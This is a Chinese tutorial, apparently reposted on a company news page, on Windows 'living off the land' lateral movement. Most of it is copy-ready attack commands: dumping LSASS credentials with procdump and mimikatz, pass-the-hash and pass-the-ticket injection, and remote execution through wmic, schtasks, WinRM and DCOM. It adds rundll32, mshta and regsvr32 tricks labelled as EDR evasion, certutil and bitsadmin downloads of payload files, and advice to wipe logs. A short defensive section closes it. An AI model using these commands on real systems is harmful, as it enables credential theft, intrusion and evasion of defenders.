ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Windows LOLBAS横向移动实战:从凭据窃取到目标机落地全链路教程

Windows LOLBAS横向移动实战:从凭据窃取到目标机落地全链路教程 1 技术底层LOLBAS横向移动核心原理1.1 LOLBAS本质定义LOLBAS 全称 Living Off The Land Binaries And Scripts直译即为“就地取材式二进制与脚本工具”。它不是第三方渗透工具而是Windows系统默认自带、受系统数字签名保护的原生程序、脚本组件与COM对象。绝大多数企业杀毒软件、EDR终端防护会默认放行系统合法程序这是LOLBAS攻击的核心生存优势。常规木马、EXE远控、自定义脚本会被终端设备实时拦截查杀而LOLBAS工具本身是系统运行必需文件防护设备无法直接封禁只能依靠行为特征检测。内网横向移动中LOLBAS攻击最大的特征是零文件落地、零恶意程序写入、纯内存/原生进程执行。全程不向目标磁盘写入恶意Payload仅调用系统原生功能完成远程命令执行、文件传输、权限维持是目前红蓝对抗中优先级最高的横向手段。1.2 横向移动第一性原理身份复用所有Windows内网横向移动底层逻辑只有一个利用有效身份凭据通过Windows远程协议在目标主机调用原生组件执行操作。没有合法凭据所有横向手法都无法生效。内网渗透中拿到跳板机权限只是第一步dump凭据、解析身份、复用域/本地管理员权限才是横向移动的核心前置动作。Windows域环境、工作组环境的身份认证体系分为两套NTLM本地认证、Kerberos域认证。对应的横向凭据攻击分为PTH哈希传递、PTT票据传递两大核心体系所有LOLBAS横向工具都必须依托这两种身份体系运行。1.3 核心远程通信协议与端口LOLBAS工具不具备自主联网、远程通信能力所有远程操作都依赖Windows内置远程协议端口固定、通信特征稳定是攻防对抗的关键识别点。通信协议默认端口对应LOLBAS工具适用场景WMI/DCOM135 动态高位端口wmic.exe、DCOM组件调用未开启WinRM、防火墙宽松的内网主机SMB445schtasks.exe、文件共享读取开启Admin$默认共享的域内主机WinRM(WS-Man)5985(HTTP)、5986(HTTPS)powershell.exe域内服务器、运维主机常态化开启1.4 全链路整体架构流程图以下为完整LOLBAS横向移动标准化链路覆盖从权限获取到痕迹清理的全流程所有实战操作均围绕该架构展开。本地权限提升NTLM哈希Kerberos票据跳板机权限获取Dump LSASS内存凭据凭据类型区分PTH哈希传递注入PTT票据传递注入当前进程持有域管/本地管理员身份选择LOLBAS横向工具wmic WMI远程执行schtasks 计划任务远程执行powershell WinRM远程会话DCOM组件远程调用目标主机无文件执行命令获取内网新节点权限日志清理痕迹消除2 前置实战凭据抓取与身份注入全可复制代码绝大多数渗透新手横向失败问题不在于LOLBAS工具使用而在于凭据抓取不完整、身份注入流程错误、进程身份继承失效。本章提供生产靶场可直接复用的全套凭据操作代码适配Windows Server 2016/2019/2022、Win10/Win11全版本。2.1 LSASS内存凭据Dump两种无损方案系统所有登录账号的明文密码、NTLM哈希、Kerberos票据均缓存于LSASS进程内存中。获取LSASS内存数据即可批量拿到内网有效凭据。2.1.1 Procdump静默Dump免杀稳定性最高Procdump是Sysinternals官方工具微软数字签名大部分EDR默认放行无落地查杀风险。# 管理员CMD执行静默导出lsass内存文件无弹窗无日志 procdump64.exe -accepteula -ma lsass.exe lsass_dump.dmp # 导出后将dmp文件离线解析 mimikatz.exe sekurlsa::minidump lsass_dump.dmp sekurlsa::logonpasswords full exit2.1.2 Mimikatz直接内存读取快速落地# 管理员权限运行mimikatz直接读取内存凭据 mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit注意开启LSA保护的主机直接读取会失败必须先关闭LSA保护或使用dmp离线解析。2.2 PTH哈希传递实战NTLM凭据复用PTHPass The Hash是内网最通用的横向手段不需要明文密码仅依靠NTLM哈希即可完成身份认证适配所有未开启NTLM强制加固的Windows主机。# Mimikatz哈希注入标准命令 mimikatz.exe privilege::debug sekurlsa::pth /user:Administrator /domain:contoso.com /ntlm:此处替换为目标NTLM哈希 /run:cmd.exe exit执行后会弹出全新CMD窗口仅该窗口进程持有注入的管理员身份原终端进程身份不变所有横向命令必须在新窗口内执行。常见报错修复提示权限不足时确认当前跳板机为管理员权限、关闭UAC远程访问限制、目标主机未开启NTLMv2强制校验。2.3 PTT票据传递实战域环境最优解PTTPass The Ticket依托Kerberos协议域环境中比PTH更隐蔽不会触发NTLM登录日志规避大部分基于NTLM异常的检测规则。# 导入kirbi票据文件 mimikatz.exe kerberos::ptt admin.kirbi exit # 验证票据导入成功 klistklist命令返回有效TGT票据即代表身份注入成功可直接访问域内所有授权主机。3 核心实战六大LOLBAS横向移动全手法本章所有手法均为纯系统原生工具无第三方程序、无文件落地适配红蓝对抗实战场景。全部命令可直接复制执行区分明文凭据、哈希注入两种使用场景同时标注EDR对抗要点。3.1 WMIwmic.exe 远程横向135端口通用方案wmic.exe是Windows内置WMI管理工具所有Windows版本默认自带无需目标主机开启任何额外服务是内网兼容性最高的横向手段。3.1.1 明文凭据远程执行# 远程创建进程执行命令输出结果至本地文件 wmic /node:192.168.3.100 /user:contoso\Administrator /password:Admin123456 process call create cmd /c whoami C:\windows\temp\res.txt3.1.2 哈希注入后无凭据执行隐蔽版PTH注入身份后无需填写账号密码直接复用当前进程身份规避明文密码日志记录。wmic /node:192.168.3.100 process call create cmd /c hostname C:\windows\temp\res.txt3.1.3 对抗优化方案原生wmic远程创建进程特征明显高版本EDR会直接拦截。实战中嵌套rundll32无文件执行绕过基础进程监控。wmic /node:192.168.3.100 process call create rundll32 javascript:\\\..\\mshtml,RunHTMLApplication \;xnew ActiveXObject(\WScript.Shell\);x.run(\cmd /c systeminfo C:\temp\sysinfo.txt\)3.2 Schtasks计划任务横向445端口SMB经典手法schtasks.exe是系统计划任务工具依托SMB 445端口通信适用于开启Admin$默认共享的内网主机老旧服务器环境命中率极高。3.2.1 完整创建-执行-删除全流程# 1. 远程创建一次性计划任务 schtasks /s 192.168.3.100 /tn SysUpdateTask /tr cmd /c whoami C:\tasklog.txt /sc once /st 23:59 # 2. 立即触发任务执行无需等待定时 schtasks /s 192.168.3.100 /run /tn SysUpdateTask # 3. 执行完毕删除任务消除痕迹 schtasks /s 192.168.3.100 /delete /tn SysUpdateTask /f3.2.2 无凭据复用执行PTH/PTT身份注入后去除账号密码参数直接调用远程计划任务。3.3 WinRMPowerShell 远程会话横向域服务器首选域内服务器、运维主机默认开启WinRM服务PowerShell远程会话稳定、权限完整适合长期控制内网节点。3.3.1 交互式远程会话# 直接建立远程PS会话交互式操作目标主机Enter-PSSession-ComputerName 192.168.3.1003.3.2 无会话批量命令执行# 远程执行系统信息查询、用户枚举Invoke-Command-ComputerName 192.168.3.100-ScriptBlock{whoami hostname net user ipconfig/all}3.3.3 EDR绕过嵌套执行直接执行CMD命令易被监控嵌套mshta无文件执行弱化攻击特征。Invoke-Command-ComputerName 192.168.3.100-ScriptBlock{mshta vbscript:createobject(wscript.shell).run(cmd /c tasklist C:\proc.txt,0)(window.close)}3.4 DCOM组件远程调用低特征隐蔽横向DCOM横向不依赖WMI、不依赖WinRM仅通过135端口COM组件调用执行攻击特征极弱是目前对抗高级EDR的主流手法。# 调用MMC20.Application组件远程执行命令$dcomObj[activator]::CreateInstance([type]::GetTypeFromProgID(MMC20.Application.1,192.168.3.100))$dcomObj.Document.ActiveView.ExecuteShellCommand(cmd.exe,$null,/c whoami C:\dcomlog.txt,0)该手法全程无进程创建告警、无计划任务日志仅留存少量DCOM组件激活日志蓝队排查难度极大。3.5 BitsadminCertutil 内网文件落地辅助横向部分内网环境禁止直接远程命令回显需要通过LOLBAS下载脚本、配置文件配合上述横向手法完成持久化攻击。# bitsadmin 内网共享文件下载 bitsadmin /transfer downjob /download /priority high \\192.168.3.5\share\exp.ps1 C:\windows\temp\exp.ps1 # certutil 静默下载文件无弹窗 certutil -urlcache -split -f http://192.168.3.5/shell.bat C:\temp\shell.bat # 清除certutil缓存痕迹 certutil -urlcache * delete3.6 Rundll32Regsvr32 纯内存无文件执行依托系统DLL组件执行恶意代码全程内存运行不写入磁盘无文件落地痕迹是极致隐蔽的LOLBAS执行方式。# rundll32 javascript无文件执行 rundll32 javascript:\..\mshtml,RunHTMLApplication ;var snew ActiveXObject(WScript.Shell);s.run(cmd /c netstat -ano C:\net.txt) # regsvr32 绕过执行命令 regsvr32 /u /s /i:http://192.168.3.5/payload.sct scrobj.dll4 完整实战全链路复现靶场标准流程本章整合所有前置技术复刻真实红蓝对抗中的标准LOLBAS横向链路步骤完整、逻辑闭环可直接用于实训、面试复盘、靶场演练。4.1 靶场环境拓扑攻击机本地渗透终端跳板机域内普通主机已获取系统权限目标机域内核心业务服务器内网存活、开放135/445/5985端口环境Windows Server 2019域环境、无高级EDR拦截、内网互通4.2 分步全流程操作步骤1跳板机Dump凭据在已沦陷的跳板机管理员终端使用procdump导出lsass内存文件离线解析获取域管理员NTLM哈希。步骤2PTH哈希身份注入通过mimikatz执行pth命令注入域管哈希弹出全新权限CMD窗口所有后续操作均在该窗口执行。步骤3WMI嵌套Rundll32横向执行使用wmic远程调用目标机rundll32纯内存执行系统命令写入执行日志至目标磁盘临时目录。步骤4读取执行结果通过SMB共享访问目标机C盘临时目录读取命令执行结果确认横向成功。步骤5痕迹清理删除临时日志文件、清除系统操作日志、删除计划任务残留规避溯源排查。5 实战高频报错与踩坑解决方案基于千次内网实战复盘整理所有LOLBAS横向移动高频问题精准定位故障原因提供可直接落地的修复方案。5.1 0x80070005 拒绝访问故障原因凭据失效、本地账号远程UAC限制、NTLM权限校验失败修复方案域账号替代本地账号横向、重新注入有效凭据、关闭目标机远程UAC限制5.2 WMI连接超时故障原因目标防火墙拦截135端口、动态DCOM端口封禁、WMI服务未开启修复方案放行内网135端口、启动目标winmgmt服务、关闭系统防火墙5.3 Schtasks 445端口访问失败故障原因Admin$共享关闭、SMB服务禁用、内网防火墙拦截445端口修复方案开启目标默认共享、启动LanmanServer服务5.4 凭据注入后身份不生效故障原因未使用mimikatz弹出的新进程、原进程身份未更新修复方案所有横向命令必须在注入后新弹出的CMD/PowerShell窗口执行6 蓝队检测与防御方案对抗式加固站在防御视角针对性克制本文所有LOLBAS横向手法提供日志审计、策略加固、行为检测全套方案。6.1 关键日志审计规则进程创建日志4688监控wmic、schtasks、rundll32、mshta远程进程创建行为WMI事件5857审计所有远程WMI命令调用记录Kerberos日志4769异常票据导入、异常域身份登录检测6.2 终端加固策略开启LSA保护禁止未授权程序读取LSASS内存凭据禁用本地管理员密码统一策略阻断哈希传递横向基础条件限制WinRM/WMI访问IP仅允许运维白名单IP连接封禁内网高危端口外联严格管控135/445/5985端口访问权限6.3 批量检测脚本可直接部署# 检测本机异常LOLBAS进程创建、远程连接记录Get-WinEvent-FilterHashtable {LogNameSecurity;ID4688}-MaxEvents 1000|Where-Object{$_.Message-matchwmic|schtasks|rundll32|mshta}|Format-ListTimeCreated,Message# 检测异常Kerberos票据登录Get-WinEvent-FilterHashtable {LogNameSecurity;ID4769}-MaxEvents 500|Format-ListTimeCreated,Message7 攻防对抗进阶思考当下主流EDR已经能够识别常规LOLBAS远程执行行为单纯调用系统工具已经无法绕过高级防护。未来内网横向的核心趋势是无特征组件调用、协议混淆、凭据静默复用。传统wmic、schtasks手法仅适用于弱防护内网环境高阶对抗中必须结合DCOM匿名调用、PowerShell内存混淆、Kerberos票据伪造等技术弱化攻击行为特征规避终端行为检测。同时蓝队防御不再局限于端口封禁、日志审计而是转向行为基线检测、异常身份复用识别、内存恶意代码扫描红蓝对抗的核心已经从工具对抗转向底层协议与系统机制的对抗。互动讨论1、你在实战中遇到过EDR拦截常规LOLBAS横向的场景吗你是如何绕过防护完成横向移动的2、对比PTH哈希传递和PTT票据传递你认为域环境内网渗透中哪种手法的隐蔽性更强适配场景更广欢迎在评论区留言交流。
返回列表